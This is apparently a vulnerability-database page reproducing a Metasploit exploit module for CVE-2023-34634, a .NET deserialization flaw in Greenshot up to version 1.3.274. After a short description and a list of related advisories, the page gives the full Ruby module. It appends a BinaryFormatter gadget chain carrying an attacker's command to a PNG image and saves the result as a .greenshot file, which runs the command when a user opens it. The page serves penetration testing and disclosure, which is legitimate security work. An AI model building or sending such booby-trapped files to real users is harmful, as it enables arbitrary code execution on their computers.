Lucene search
+L

Greenshot .NET Deserialization Fileformat Exploit

🗓️ 26 Jul 2023 00:00:00Reported by p4r4bellum, bwatters-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 291 Views

There exists a .NET deserialization vulnerability in Greenshot version 1.3.274 and below. The deserialization allows the execution of commands when a user opens a Greenshot file. The commands execute under the same permissions as the Greenshot service

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution Vulnerability
28 Jul 202300:00
zdt
zdt
zdt
Greenshot 1.3.274 Deserialization / Command Execution Exploit
17 Aug 202300:00
zdt
attackerkb
ATTACKERKB
CVE-2023-34634
1 Aug 202314:15
attackerkb
circl
Circl
CVE-2023-34634
1 Aug 202322:58
circl
cnnvd
CNNVD
GreenShot 安全漏洞
28 Jul 202300:00
cnnvd
cve
CVE
CVE-2023-34634
1 Aug 202300:00
cve
cvelist
Cvelist
CVE-2023-34634
1 Aug 202300:00
cvelist
exploitdb
Exploit DB
GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution
28 Jul 202300:00
exploitdb
nvd
NVD
CVE-2023-34634
1 Aug 202314:15
nvd
packetstorm
Packet Storm
GreenShot 1.2.10 Arbitrary Code Execution
31 Jul 202300:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Greenshot .NET Deserialization Fileformat Exploit',
        'Description' => %q{
          There exists a .NET deserialization vulnerability in Greenshot version 1.3.274
          and below.  The deserialization allows the execution of commands when a user opens
          a Greenshot file.  The commands execute under the same permissions as the Greenshot
          service.  Typically, is the logged in user.
        },
        'DisclosureDate' => '2023-07-26',
        'Author' => [
          'p4r4bellum',  # Discovery
          'bwatters-r7', # msf exploit
        ],
        'References' => [
          ['CVE', '2023-34634'],
          ['EDB', '51633']
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Windows', {} ],
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]
        }
      )
    )

    register_options([
      OptPath.new('PNG_FILE', [false, 'PNG file to use'])
    ])
  end

  def exploit
    if datastore['PNG_FILE'].blank?
      image_file = File.join(Msf::Config.data_directory, 'exploits', 'cve-2023-34634', 'test.png')
    else
      image_file = datastore['PNG_FILE']
    end

    datastore['FILENAME'] = Rex::Text.rand_text_alpha(rand(6..13)) if datastore['FILENAME'].blank?
    if datastore['FILENAME'].length < 10 || datastore['FILENAME'][-10, -1] != '.greenshot'
      datastore['FILENAME'] << '.greenshot'
    end
    cmd = payload.encoded

    image_data = File.binread(image_file)

    deserialize_cmd = ::Msf::Util::DotNetDeserialization.generate(
      cmd,
      gadget_chain: :WindowsIdentity,
      formatter: :BinaryFormatter
    )

    payload_length = deserialize_cmd.length
    outfile = image_data
    outfile << deserialize_cmd
    outfile << [payload_length].pack('Q')
    outfile << 'Greenshot01.02'
    file_create(outfile)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation